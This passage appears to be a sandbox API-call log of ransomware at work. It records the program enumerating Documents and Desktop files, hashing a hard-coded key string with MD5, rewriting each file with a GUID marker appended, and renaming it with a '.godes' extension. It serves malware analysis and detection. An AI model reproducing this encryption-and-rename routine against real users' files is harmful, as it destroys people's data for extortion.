HALPmcxz\\Desktop\\Ze0Y.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ze0y.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.177] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=3411) returned 1 [0113.177] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.179] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.179] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.179] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.179] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xd53, lpOverlapped=0x0) returned 1 [0113.179] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.179] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.179] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.180] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.180] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.180] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.180] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.180] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.180] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.180] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.180] GetLastError () returned 0x0 [0113.180] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.180] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.180] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.180] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd50) returned 0x3321120 [0113.181] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.181] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.181] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xd4e, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xd4e, lpOverlapped=0x0) returned 1 [0113.181] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.181] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.181] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.181] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.181] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.181] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.181] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.181] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.181] CloseHandle (hObject=0x624) returned 1 [0113.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x870) returned 0x3321120 [0113.182] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.182] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ze0Y.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ze0y.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ze0Y.avi.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ze0y.avi.godes")) returned 1 [0113.182] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.182] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.183] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.183] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2adb9bc0, ftCreationTime.dwHighDateTime=0x1d4cd9a, ftLastAccessTime.dwLowDateTime=0x92f7e680, ftLastAccessTime.dwHighDateTime=0x1d4c581, ftLastWriteTime.dwLowDateTime=0x92f7e680, ftLastWriteTime.dwHighDateTime=0x1d4c581, nFileSizeHigh=0x0, nFileSizeLow=0xd53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ze0Y.avi", cAlternateFileName="")) returned 0 [0113.183] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd60 | out: hHeap=0x660000) returned 1 [0113.184] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.184] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.184] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.186] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0113.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.186] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0113.186] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.186] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.186] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.186] PathFindFileNameW (pszPath="") returned="" [0113.186] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x95971d30, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x95971d30, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.186] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x95971d30, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x95971d30, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.186] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd93d7eb0, ftCreationTime.dwHighDateTime=0x1d4c5dc, ftLastAccessTime.dwLowDateTime=0xe3330ee0, ftLastAccessTime.dwHighDateTime=0x1d4cc93, ftLastWriteTime.dwLowDateTime=0xe3330ee0, ftLastWriteTime.dwHighDateTime=0x1d4cc93, nFileSizeHigh=0x0, nFileSizeLow=0x119c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-gxq8.pptx", cAlternateFileName="-GXQ8~1.PPT")) returned 1 [0113.186] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-gxq8.pptx") returned=".pptx" [0113.186] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-gxq8.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-gxq8.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.186] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=72130) returned 1 [0113.186] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.188] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1199c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.188] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.190] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x119c2, lpOverlapped=0x0) returned 1 [0113.190] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.190] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.190] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.191] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.191] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.191] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.191] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.191] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.191] GetLastError () returned 0x0 [0113.191] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.191] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.192] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x119c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.192] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.192] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.192] CloseHandle (hObject=0x624) returned 1 [0113.193] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-gxq8.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-gxq8.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-gxq8.pptx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-gxq8.pptx.godes")) returned 1 [0113.194] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d34ac20, ftCreationTime.dwHighDateTime=0x1d533eb, ftLastAccessTime.dwLowDateTime=0xa8510590, ftLastAccessTime.dwHighDateTime=0x1d4c327, ftLastWriteTime.dwLowDateTime=0xa8510590, ftLastWriteTime.dwHighDateTime=0x1d4c327, nFileSizeHigh=0x0, nFileSizeLow=0x24da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="81kerGqg6_j2b6.pptx", cAlternateFileName="81KERG~1.PPT")) returned 1 [0113.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\81kerGqg6_j2b6.pptx") returned=".pptx" [0113.195] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\81kerGqg6_j2b6.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\81kergqg6_j2b6.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.195] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=9434) returned 1 [0113.195] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.197] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x24b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.197] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.199] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x24da, lpOverlapped=0x0) returned 1 [0113.199] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.199] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.199] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.199] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.200] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.200] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.200] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.200] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.200] GetLastError () returned 0x0 [0113.200] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.200] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.200] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x24da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.200] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.200] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.201] CloseHandle (hObject=0x624) returned 1 [0113.201] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\81kerGqg6_j2b6.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\81kergqg6_j2b6.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\81kerGqg6_j2b6.pptx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\81kergqg6_j2b6.pptx.godes")) returned 1 [0113.202] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eab0cc0, ftCreationTime.dwHighDateTime=0x1d4cecb, ftLastAccessTime.dwLowDateTime=0xb1ef0140, ftLastAccessTime.dwHighDateTime=0x1d4ca1d, ftLastWriteTime.dwLowDateTime=0xb1ef0140, ftLastWriteTime.dwHighDateTime=0x1d4ca1d, nFileSizeHigh=0x0, nFileSizeLow=0x9525, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="95fISoK jESPo8EvK8TF.docx", cAlternateFileName="95FISO~1.DOC")) returned 1 [0113.202] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\95fISoK jESPo8EvK8TF.docx") returned=".docx" [0113.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\95fISoK jESPo8EvK8TF.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\95fisok jespo8evk8tf.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.203] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=38181) returned 1 [0113.203] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.205] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x94ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.205] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.206] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | 